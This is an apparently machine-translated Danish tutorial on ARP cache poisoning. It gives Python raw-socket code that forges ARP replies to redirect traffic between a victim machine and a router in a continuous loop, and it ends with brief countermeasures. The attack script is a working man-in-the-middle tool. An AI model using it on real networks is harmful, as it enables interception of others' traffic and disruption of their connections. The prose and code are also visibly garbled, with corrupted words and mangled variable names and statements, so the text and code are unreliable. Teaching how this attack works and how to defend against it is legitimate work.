I dag vil jeg lære dig hvordan man implementerer et ARP -forgif.webptningsangreb (ARP cache forgif.webptning). For det Jeg vil bruge rå stikkontakter i python, formålet er at se, hvordan denne type stik fungerer, at du lærer, hvordan dette angreb fungerer, eller at du kan udføre test på dit netværk (selvom der allerede er værktøjer på netværket til det), ikke at du bruger det til ondsindet formål.
BemærkMed scapy kan du implementere dette arbejde hurtigere og lettere, men ved at se denne vejledning vil du kunne bruge viden til at bruge biblioteket og gøre det selv, hvis vi gjorde det omvendt ville det koste dig mere. Metoden vist her fungerer kun på Linux -systemer.
Små detaljer du bør vide
ARPDet er den adresseopløsningsprotokol, der findes på netværkslaget. Dens mission er at finde den MAC -adresse (fysisk adresse), der svarer til en bestemt IP -adresse (netværksadresse).
ARP cachesHver enhed har en lille hukommelse, hvor den gemmer MAC - IP -oversættelser, vi kommer til at drage fordel af dette i dette angreb. Denne cache findes, fordi den undgår omkostninger ved at bede om oversættelse, hver gang vi opretter forbindelse til en anden enhed.
Det ARP -protokolbetjening Det er enkelt, når du sender en pakke til nogen, bliver enhedens cache tjekket, hvis der er den oversættelse, vil det tage det at sende pakken, hvis der ikke er nogen ARP, sender den en udsendelsespakke (den er speciel, det er har destinations -MAC -adressen ff: ff: ff: ff: ff: ff), når denne pakke alle enhederne på netværket og vil "spørge", hvem der har søgt IP -adressen, hver enhed ved at se den særlige MAC vil læse pakken, og kun den med adressen Den søgte IP svarer med angivelse af dens MAC, i det øjeblik vil den blive gemt i cachen for ikke at skulle spørge igen i løbet af de næste par minutter.
Det ARP forgif.webptning angreb Det bruges til at spionere på de data, der passerer gennem et netværk, eller vi kan også bruge det, så dataene ikke når de destinationer, det skal til. Dette angreb består i konstant at sende ARP -pakker til netværket, hvilket angiver, at vores MAC svarer til offerets IP, og at vores MAC er forbundet med routerens IP. Vi skal hele tiden sende pakkerne, fordi det er en dynamisk protokol, så cachen ændrer sig, det kan være, at oversættelsen er slettet, den opdateres med de rigtige data, så for at sikre, at vi sender pakker hver lille gang, er de ikke meget tunge, så de vil normalt ikke overbelaste netværket.
BemærkARP er en protokol, der kun bruges i IPv4, derfor er dette angreb ikke gyldigt for IPv6, men forgif.webptningsangrebet kan udføres ved at drage fordel af en anden protokol, såsom NDP, som bruges til at opdage "naboer" i et netværk .
For at starte vores eksempel skal vi kende offerets IP -adresser og routerens gateway samt dens MAC, du kan bruge nmap til at opdage de aktive enheder i dit netværk, og MAC kan let fås, f.eks. for at forgif.webpte cachen for adressen 192.168.66.2, som vil være mit offer (en virtuel maskine), vil jeg udføre følgende i cmd eller terminal:
Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1-C og -n angiver, at der kun skal sendes en pakke, hvert operativsystem har en anden parameter. Senere satte vi:
harpeDet angiver ARP -cachen, derfor kan vi se de oversættelser, vi har gemt (og efter at have lavet et ping tidligere har vi allerede oversættelsen med offeret). Vi skal gøre det samme med routerens gateway:
Dernæst vil jeg lægge alle de data, vi har for at have dem ved hånden:
- Offer -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75
- Router -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08
- Min pc -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f
Jeg satte den komplette kode og forklarede den nedenfor, den fungerer for Python i version 2.x, men med små ændringer kan du tilpasse den til version 3.x:
import socket importtid, struct, binascii forbindelse = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) forbindelse.bind (("ens33", socket.htons (0x0800))) macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f "macVictima =" \ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75 "macRouter =" \ x00 \ x50 \ x56 \ xc0 \ x00 \ x08 "kode =" \ x08 \ x06 "commonpackage = macOrigen + code eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage HardwareType =" \ x00 \ x01 "protocolType =" \ x08 \ x00 "HardwareLength =" \ x06 "ProtocolLength =" \ x04 "OperationCode =" \ x04 "OperationCode =" \ x04 "\ x02" SharedHeader = HardwareType + ProtocolType + HardwareLength + ProtocolLength + OperationCode + macOrigen ipRouter = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") macVictouter1ngouter + MacVictouterHead = eth1 + MacVictouterCompartida + header ipVictima arpRouter = eth2 + SharedHeader + ipVictima + macRouter + ipRouter print ("Poisoning caches … to stop CTRL + C") while True: connection.send (arpRouter) connection.send (ar ) time.sleep (1)Det første, vi gør, er at importere de nødvendige biblioteker, som ikke behøver yderligere forklaring. Lad os fortsætte med følgende linjer:
forbindelse = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) forbindelse.bind (("ens33", socket.htons (0x0800)))Den første linje opretter en stikdåse med følgende egenskaber:
- PF_PACKET: At sende og modtage pakker på et lavt niveau.
- SOCK_RAW: At bruge rå stikkontakter.
- socket.htons (0x0800): 0x0800 vil definere ETH_P_IP -protokollen, ntohs -funktionen konverterer netværksformatet til bytes i det passende format til vores computer (s betyder kort, det vil sige 16 bits, hvis det havde en l, ville det være 32 bit).
Og den anden kommer til at stå for at sætte stikket til at "lytte":
- ens33: det er netværksinterfacet, hvor vi skal arbejde, dit kan være eth0, hvis du bruger en ifconfig, vil du se det (se billedet herunder).
- socket.htons (0x800): det samme som før sagt.
Linjerne, som vi ser nedenfor, opretter Ethernet -headere, til dette etablerer vi MAC'erne og koden (den vi sætter tilhører ARP -protokollen), hvis du vil vide mere om Ethernet, klik her:
macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f" macVictima = "\ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75" macRouter = "\ x00 \ x50 \ x56 \ xc0 \ x00 \ x08" kode = "\ x08 \ x06" commonpackage = macSource + kode eth1 = macVictima + commonpackage eth2 = macRouter + commonpackageDen næste del af koden samler ARP -pakkerne, for at konsultere strukturen kan du besøge følgende link og gå til pakkestruktursektionen. Operationskoden \ x00 \ x02 skal angive, at det er en svarpakke (hvis det var 1, ville det være en anmodning), og funktionen socket.inet_aton () konverterer en IPv4-adresse til 32-bit binært format. Som du har set i den tidligere kode og nu for at oprette en pakke, sammenkæder vi dens dele.
HardwareType = "\ x00 \ x01" ProtocolType = "\ x08 \ x00" HardwareLength = "\ x06" ProtocolLength = "\ x04" OperationCode = "\ x00 \ x02" Shared Header = HardwareType + ProtocolType + HardwareLength + Operating ProtocolProtocolLength + MacOperationCode. = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + delt header + ipRouter + macVictima + ipVictima arpRouter = eth2 + delt header + ipVictima + macRouter + ipRouterDen sidste del af koden viser en besked for at vide, at den fungerer og går ind i en uendelig loop, der sender pakker for at forgif.webpte vores ofres cacher og routerens gateway, dette gør det hvert sekund, siden vi har sovet.
print ("Forgif.webptning af caches … for at stoppe CTRL + C"), mens True: connection.send (arpRouter) connection.send (arpVictima) time.sleep (1)Lad os se, hvordan udførelsen af programmet ser ud (vi skal køre som root -bruger):
Og hvis vi ser på offerets cache, kan vi se, at hans IP -adresse nu er forbundet med angriberens MAC:
Modforanstaltninger
- Brug statiske ARP -tabeller, vi tilføjer posterne i hånden, og vi lader dem ikke variere.
- Konsultere Omvendt ARP, vil denne protokol returnere IP -adressen fra en MAC, så hvis den returnerer mere end én IP -adresse, er det sandsynligt, at vi er blevet forfalsket.
Disse foranstaltninger kræver et minimum af viden, så ikke alle vil være i stand til at udføre det, men ved at konsultere vores IT -sikkerhedsspørgsmål eller tutorials -sektion finder du helt sikkert hjælp.
Hvis du vil have koden, her er en zip:
Download kode ArpPoisoning.zip 579 bytes 116 Downloads
Kan du lide og hjælpe denne vejledning?Du kan belønne forfatteren ved at trykke på denne knap for at give ham et positivt punkt